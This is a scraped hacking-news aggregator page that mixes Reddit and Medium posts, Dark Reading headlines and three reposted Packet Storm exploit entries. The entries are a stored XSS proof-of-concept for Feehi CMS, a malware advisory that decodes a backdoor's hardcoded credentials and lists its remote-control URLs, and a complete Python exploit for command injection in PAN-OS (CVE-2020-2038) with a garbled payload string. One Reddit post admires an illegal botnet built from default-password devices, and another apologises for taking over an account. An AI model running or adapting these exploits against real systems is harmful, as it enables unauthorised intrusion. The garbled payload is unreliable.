Hacking on Medium
Welcome to Recurse

https://cdn-images-1.medium.com/max/2558/1*35S5dHksh7Axl3wARjGUbQ.png
So, yesterday was my first day in the Fall 22 batch of Recurse. It’s a programmers-retreat, pretty unstructured — based around learning…

Continue reading on Medium »

https://b.thumbs.redditmedia.com/TqQTgvNCubC3IMVWqnByD6abWXSYRgDkxI4sClZRmyc.jpg ​

https://preview.redd.it/mu0gg17btpg91.jpg?width=697&format=pjpg&auto=webp&s=02217fad21b4db77e65aa2347369740e048f8810

submitted by /u/fap_fap_fap_fapper
[link] [comments]

hacking: security in practice
Most Impressive internet related hack.

While not specifically a website hack, probably the most impressive Internet-related hack I can think of involved was "Internet Census 2012" This attack would be remembered by a few Regulars. I remember covering this topic for a few students

A simple yet sophisticated hack.

A security researcher/hacker seized control of a large number of embedded devices to produce what would have been the most thorough map of the Internet to that point. The impacted devices were distributed in over 100 countries.

The technique was straightforward yet magnificent. Many Internet-enabled devices, including routers, UPSs, printers, and other more obscure equipment, offer a remote command shell yet come with default passwords (or none at all) when they are finally deployed.

In contrast to typical botnets, which are frequently used for spamming or Distributed Denial of Service (DDoS) assaults, the individual behind this initiative linked them into a botnet, but they were used to transmit probes that were audible around the world, building maps of Internet topography. I later partnered with this company late 2018 in a bid to learn more about the technique.

All in all, the botnet involved spanned over 420,000 devices, and this wasn't even the upper limit to the number which could have been taken over.

When they were finished, the researcher silently removed their code from the impacted systems, left them alone, and left the passwords alone before publishing their findings and moving on.

They may have exploited this resource for a variety of malicious or self-enriching activities. Instead, they were content to conduct worthwhile research that may not have been feasible in any other manner. Since the research was unquestionably unlawful, I can understand why some people may find it unethical; yet, I have to admire someone who, given the option, chooses to act in their best interests rather than their own or others'.

You can read more about the methodology and findings which resulted via internet census 2012

submitted by /u/Simonvilla1
[link] [comments]

hacking: security in practice
Sorry about hacking your account

Sorry about this but i figured i should give this back and didnt know where else to put it, its a message to the guy that owns this account cos i accidentally pressed ignore on his chat and now i cant find him. doh.

please take your account back like this

https://www.reddit.com/account/magic_link/landing/MIT:/

put your email in there ( its the same ) click on the link in your email, reset the password. done.

once again, great fun messing around but sorry about that. ADHD FTW

submitted by /u/ocoio
[link] [comments]

Exploit Collector
Feehi CMS 2.1.1 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
Feehi CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | d361efcdb1b82d5a2eb48510dede7b1357037345197851159d3a6375b4284b66

Download
# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 02-08-2022
# Exploit Author: Shivam Singh
# Vendor Homepage: https://feehi.com/
# Software Link: https://github.com/liufee/cms
#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/
# Version: 2.1.1 (REQUIRED)
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-34140
# Proof of Concept:
1-Sing-up https://localhost.cms.feehi/
2-Inject The XSS Payload in Username:
"> fill all required fields and
click the SignUp button
3-Login to Your Account, Go to any article page then XSS will trigger.

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Guptachar.20 MVID-2022-0631 Insecure Credential Storage

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Backdoor.Win32.Guptachar.20 malware suffers from an insecure credential storage vulnerability.

SHA-256 | e3369625a4e3f23a7d0dca07bf0660807db452941c0e93d8a5ede6f3641451dc

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/857999d2306f257b80d1b8f6a51ae8b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Guptachar.20
Vulnerability: Insecure Credential Storage
Description: The malware runs a web server on TCP port 2015 (default) and uses BASIC authentication. The credentials "hacker01:imchampgr8" get stored in a .NFO information file named "GPTCR.NFO" under Windows dir base64 encoded and hidden among many junk NULL bytes.
Family: Guptachar
Type: PE32
MD5: 857999d2306f257b80d1b8f6a51ae8b0
Vuln ID: MVID-2022-0631
Dropped files: GPTCR2.exe
Disclosure: 08/08/2022

Exploit/PoC:
import base64
base64.b64decode("aGFja2VyMDE6aW1jaGFtcGdyOA==")
b'hacker01:imchampgr8'

Web URLs available on the infected host.

http://192.168.18.125:2015/execute.html
http://192.168.18.125:2015/browse.html
http://192.168.18.125:2015/upload.html
http://192.168.18.125:2015/screenshot.html
http://192.168.18.125:2015/keylog.html
http://192.168.18.125:2015/display.html
http://192.168.18.125:2015/shutdown.html
http://192.168.18.125:2015/servopts.html
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
PAN-OS 10.0 Remote Code Execution

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
PAN-OS version 10.0 suffers from a remote code execution vulnerability.

SHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8

Download
# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-08-13
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1,<9.1.4
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.

#!/usr/bin/env python3

import requests
import urllib3
import sys
import getopt
import xmltodict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
print('\n###########################################################################')
print('# Proof of Concept for CVE-2020-2038 #')
print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')
print('# Positive Technologies #')
print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')
print('# #')
print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')
print('###########################################################################')

def exploit(target,user,password,command):
apiparam = {'type': 'keygen', 'user': user, 'password': password}
apiresponse = requests.get(target+'api/', params=apiparam, verify=False)
xmlparse = xmltodict.parse(apiresponse.content)
apikey = xmlparse['response']['result']['key']
payload = '<cms-ping<host8.8.8.8<count1<pattern111'
parameters = {'cmd': payload, 'type': 'op', 'key': apikey}
response = requests.get(target+'api', params=parameters, verify=False)
print(response.text[50:-20])

def usage():
print('\nusage: CVE-2020-2038.py\n\n')
print('arguments:')
print(' -h show this help message and exit')
print(' -t target URL (ex: http://vulnerable.host/)')
print(' -u target administrator user')
print(' -p pasword of the defined user account')
print(' -c command you want to execute on the target\n')

def main(argv):
if len(sys.argv) < 9:
banner()
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"ht:u:p:c:")
except getopt.GetoptError:
banner()
usage()
sys.exit()
for opt, arg in opts:
if opt == '-h':
usage()
sys.exit()
if opt == '-t':
target = arg
if opt == '-u':
user = arg
if opt == '-p':
password = arg
if opt == '-c':
command = arg
banner()
exploit(target,user,password,command)
sys.exit()

if __name__ == "__main__":
try:
main(sys.argv[1:])
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Netscout Arbor Insight Leverages Patented ASI Technology to Enhance Security and Operational Awareness for Network Operators of Any Scale

Extends all aspects of the Arbor Sightline solution with unique, real-time multidimensional DDoS and traffic analytics capabilities.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia-Ukraine Conflict Holds Cyberwar Lessons

Initial attacks used damaging wiper malware and targeted infrastructure, but the most enduring impacts will likely be from disinformation, researchers say. At Black Hat USA, SentinelOne's Juan Andres Guerrero-Saade and Tom Hegel will discuss.

Dark Reading: Attacks/Breaches
US Oil and Gas Sector at Risk of a Cyberbreach, According to BreachBits Study

Study offers a cyber "state of the industry" analysis from a hacker's perspective to help companies anticipate attacks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Domino's Takes a Methodical Approach to IoT

The success of Domino's Flex IoT project can be attributed in large part to the security best practices it followed.

Dark Reading: Attacks/Breaches
Abusing Kerberos for Local Privilege Escalation

Upcoming Black Hat USA presentation will examine the implications of Kerberos weaknesses for security on the local machine.